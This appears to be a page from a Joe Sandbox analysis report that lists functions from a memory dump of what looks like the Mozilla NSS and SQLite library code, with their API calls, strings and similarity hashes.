Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: aeecf47056faf8290436c691767b3bbfcdc570e4365682d34e67421647664d69
Instruction ID: adf37707057b240e747a8f40ab040aa3f04e7b27e1f46c813b48a4d085d52f53
Opcode Fuzzy Hash: aeecf47056faf8290436c691767b3bbfcdc570e4365682d34e67421647664d69
Instruction Fuzzy Hash: 9402F1B1B047905BE7049F72A89572F37B6ABC530CF14953DD85E8BB00EB74E84A8792

Function 6CBB7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBB7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CBB7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CBB7D1E

Part of subcall function 6CBB7870: SECOID_FindOID_Util.NSS3(?,?,?,6CBB91C5), ref: 6CBB788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBB7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CBB7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CBB7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBB7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBB7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CBB7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CBB7E58

Part of subcall function 6CBB7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBB91C5), ref: 6CBB78BB
Part of subcall function 6CBB7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CBB91C5), ref: 6CBB78FA
Part of subcall function 6CBB7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CBB91C5), ref: 6CBB7930
Part of subcall function 6CBB7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBB91C5), ref: 6CBB7951
Part of subcall function 6CBB7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBB7964
Part of subcall function 6CBB7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CBB797A
Part of subcall function 6CBB7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CBB7988
Part of subcall function 6CBB7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CBB7998
Part of subcall function 6CBB7870: free.MOZGLUE(00000000), ref: 6CBB79A7
Part of subcall function 6CBB7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CBB91C5), ref: 6CBB79BB
Part of subcall function 6CBB7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CBB91C5), ref: 6CBB79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBB7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBB7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CBB7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBB7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CBB7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CBB8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CBB8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CBB8093
SECOID_FindOID_Util.NSS3 ref: 6CBB7F29

Part of subcall function 6CBB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB58298,?,?,?,6CB4FCE5,?), ref: 6CBB07BF
Part of subcall function 6CBB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBB07E6
Part of subcall function 6CBB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBB081B
Part of subcall function 6CBB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBB0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CBB8072
SECOID_FindOID_Util.NSS3 ref: 6CBB80F5

Part of subcall function 6CBBBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CBB800A,00000000,?,00000000,?), ref: 6CBBBC3F

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: f951d082fd95a7015ab8bd94aba6c274288c08f9be61fb29de55aafea1edb335
Instruction ID: 1f32700a0e34e122c8aabdaf16fed70e8cdfb5b8e7daf0e47b66fed2e0f4da61
Opcode Fuzzy Hash: f951d082fd95a7015ab8bd94aba6c274288c08f9be61fb29de55aafea1edb335
Instruction Fuzzy Hash: FCE1A3716083819FD710CF29C880B6A77E5EF44348F54496DE89ABBB51EB72EC05CB62

Function 6CB41C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CB41C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CB41C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CB41CA1
GetLengthSid.ADVAPI32(?), ref: 6CB41CA9
malloc.MOZGLUE(00000000), ref: 6CB41CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CB41CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CB41CE4
GetLengthSid.ADVAPI32(?), ref: 6CB41CEC
malloc.MOZGLUE(00000000), ref: 6CB41CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CB41D0F
CloseHandle.KERNEL32(?), ref: 6CB41D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CB41D4D
GetLastError.KERNEL32 ref: 6CB41D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CB41D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CB41D7A

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 3f6733f6cf0c7691a4146c06974b8616a24b490705eca6c04570651706aba62f
Instruction ID: a7d51d36dfb971b6d46cd40493485383ab791a8bb8472d7aaae2a9ffbde5c4b7
Opcode Fuzzy Hash: 3f6733f6cf0c7691a4146c06974b8616a24b490705eca6c04570651706aba62f
Instruction Fuzzy Hash: 103152B1A00218AFEB11AFA4DD48BAE7BB8FF49345F044065FA0993250EB315DD4CF65

Function 6CB43D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB43DFB
__allrem.LIBCMT ref: 6CB43EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB43FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CB44047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB440DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB4415F
__allrem.LIBCMT ref: 6CB4416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB44288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB442AB
__allrem.LIBCMT ref: 6CB442B7

Strings

%02d, xrefs: 6CB44086
%lld, xrefs: 6CB43FB2
%03d, xrefs: 6CB442E8
%04d, xrefs: 6CB4407B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: b59e310665dedda678c8f1bddfdf56a774dad84a91217e7dd8be7549c2dd1a9d
Instruction ID: 06b80ceeb837b3e837331f95a357c73fa3e7a513c201419b8d4b08ba30635761
Opcode Fuzzy Hash: b59e310665dedda678c8f1bddfdf56a774dad84a91217e7dd8be7549c2dd1a9d
Instruction Fuzzy Hash: 3FF1FEB1A0C7809FD715CF38C881A6BB7E6EF85308F14CA2DE48597B55EB30D8559B42

Function 6CB4EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB4EF63

Part of subcall function 6CB587D0: PORT_NewArena_Util.NSS3(00000800,6CB4EF74,00000000), ref: 6CB587E8
Part of subcall function 6CB587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CB4EF74,00000000), ref: 6CB587FD
Part of subcall function 6CB587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB5884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CB4F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB4F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CB4F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CB4F374
PL_strcasecmp.NSS3(6CC92FD4,?), ref: 6CB4F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CB4F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CB4F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CB4F67D
CERT_DestroyName.NSS3(?), ref: 6CB4F68B

Part of subcall function 6CB58320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CB58338
Part of subcall function 6CB58320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CB58364
Part of subcall function 6CB58320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CB5838E
Part of subcall function 6CB58320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB583A5
Part of subcall function 6CB58320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB583E3

Part of subcall function 6CB584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CB584D9
Part of subcall function 6CB584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB58528

Part of subcall function 6CB58900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CB4F599,?,00000000), ref: 6CB58955

Strings

oid., xrefs: 6CB4F2CF
*, xrefs: 6CB4F3C6
", xrefs: 6CB4F21B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: d947ec137f0d7df062eee214b5b747fe12cfe8e81311c19f6947fe2fe04bacea
Instruction ID: 9e08658e05e483baf8be6270edee1fcd69a0d1aa9170a1950bbc1b47b5360137
Opcode Fuzzy Hash: d947ec137f0d7df062eee214b5b747fe12cfe8e81311c19f6947fe2fe04bacea
Instruction Fuzzy Hash: 5622157160C3C18BE710CE69C49076AB7E6EB85318F18CA2EE4D587B99E7319C05EB53

Function 6CAF1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAF1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CAF1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CAF1FB7

Strings

sqlite_master, xrefs: 6CAF1C61
table, xrefs: 6CAF1C8B
unknown error, xrefs: 6CAF2291
unsupported file format, xrefs: 6CAF2188
another row available, xrefs: 6CAF2287
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CAF1F83
abort due to ROLLBACK, xrefs: 6CAF2223
attached databases must use the same text encoding as main database, xrefs: 6CAF20CA
sqlite_temp_master, xrefs: 6CAF1C5C
no more rows available, xrefs: 6CAF2264

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: a2349397b4e4e61878ef6ac18809fa8759871f875632ef4561a96cd8c0856d91
Instruction ID: 82fce6dbeb266dbac0cca73ab50d47ffb6f93fa532566e0c866f99beaf91fb18
Opcode Fuzzy Hash: a2349397b4e4e61878ef6ac18809fa8759871f875632ef4561a96cd8c0856d91
Instruction Fuzzy Hash: 301204716083818FD715CF19C08466AB7F2BF85318F19866DE9A58BB51D731EC8BCB82

Function 6CB15F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

ON clause references tables to its right, xrefs: 6CB16BEC
-, xrefs: 6CB16228
-, xrefs: 6CB162F9
u, xrefs: 6CB181DA
sub-select returns %d columns - expected %d, xrefs: 6CB1805F
2, xrefs: 6CB165B4
NOCASE, xrefs: 6CB18703
BINARY, xrefs: 6CB18708, 6CB18737, 6CB187B8

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 4b652135883f9723a3afab90aa407048c67b8c4e3bf64331d2e7f7f826314500
Instruction ID: e1410a1a9eabbf4a1bc94df5b9fd310030da940c1773da99cc1afd6382c80b6c
Opcode Fuzzy Hash: 4b652135883f9723a3afab90aa407048c67b8c4e3bf64331d2e7f7f826314500
Instruction Fuzzy Hash: CC438374A0C3818FD304CF19C490B5ABBE2FF89318F15866DE8999BB51D771E846CB92

Function 6CBBEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBBC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CBBDAE2,?), ref: 6CBBC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBBF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBBF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CBBF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBBF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CC8218C), ref: 6CBBF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CBBF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBBF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBBF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CBBF210

Part of subcall function 6CB652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CBBF1E9,?,00000000,?,?), ref: 6CB652F5
Part of subcall function 6CB652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CB6530F
Part of subcall function 6CB652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CB65326
Part of subcall function 6CB652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CBBF1E9,?,00000000,?,?), ref: 6CB65340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBBF227

Part of subcall function 6CBAFAB0: free.MOZGLUE(?,-00000001,?,?,6CB4F673,00000000,00000000), ref: 6CBAFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CBBF23E

Part of subcall function 6CBABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB5E708,00000000,00000000,00000004,00000000), ref: 6CBABE6A
Part of subcall function 6CBABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB604DC,?), ref: 6CBABE7E
Part of subcall function 6CBABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBBF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CBBF3A8

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBBF3B3

Part of subcall function 6CB62D20: PK11_DestroyObject.NSS3(?,?), ref: 6CB62D3C
Part of subcall function 6CB62D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB62D5F

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 16aebf82ee1fd315233d21d9a91065d66e23e426058ac752b07e5d22fe4a6ad4
Instruction ID: 54a20adc83039d5c824c3c2cf2555cfaf88f6e6815c8309bf4b933cf7b690024
Opcode Fuzzy Hash: 16aebf82ee1fd315233d21d9a91065d66e23e426058ac752b07e5d22fe4a6ad4
Instruction Fuzzy Hash: 5FD170BEE016459FEB14CF99D880AAEB7F5EF48308F158029E915B7711EB31E806CB51

Function 6CBEDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CBC7FFA,00000000,?,6CBF23B9,00000002,00000000,?,6CBC7FFA,00000002), ref: 6CBEDE33

Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190AB
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190C9
Part of subcall function 6CC19090: EnterCriticalSection.KERNEL32 ref: 6CC190E5
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC19116
Part of subcall function 6CC19090: LeaveCriticalSection.KERNEL32 ref: 6CC1913F

Part of subcall function 6CBED000: PORT_ZAlloc_Util.NSS3(00000108,?,6CBEDE74,6CBC7FFA,00000002,?,?,?,?,?,00000000,6CBC7FFA,00000000,?,6CBF23B9,00000002), ref: 6CBED008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CBC7FFA,00000000,?,6CBF23B9,00000002,00000000,?,6CBC7FFA,00000002), ref: 6CBEDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CBEDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBEE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBEE121
PK11_FreeSymKey.NSS3(?), ref: 6CBEE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CBEE195
PR_GetCurrentThread.NSS3 ref: 6CBEE1FC

Part of subcall function 6CBE2460: PR_SetError.NSS3(FFFFE005,00000000,6CC87379,00000002,?), ref: 6CBE2493

Strings

application data, xrefs: 6CBEDFE0
handshake data, xrefs: 6CBEDFF7
early application data, xrefs: 6CBEDFC9
key, xrefs: 6CBEE046

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: f28ee36c558d174625ac89b8efe2d7391c0729028ee424d6f8a618ed37a39d62
Instruction ID: 414500967d77edc1ad89e108ea15e3bedd08cc63891fb0409385f002abec6c5b
Opcode Fuzzy Hash: f28ee36c558d174625ac89b8efe2d7391c0729028ee424d6f8a618ed37a39d62
Instruction Fuzzy Hash: 31C1F371B002859BDB04CF65DC80BAEB7B5FF4D748F044129E9099BA51E371E994CBE2

Function 6CADECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CADED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CADEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CADEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CADEF98

Strings

%s at line %d of [%.10s], xrefs: 6CADF492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CADF483
database corruption, xrefs: 6CADF48D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 5b4b545f7275acebe29ba7064df900cc4faa71f8cb551540b64258f143ab4e0d
Instruction ID: 1c94028486e3cd913122b5fa19d063e7ed46b0b92959df06e08fa62f1f09fcef
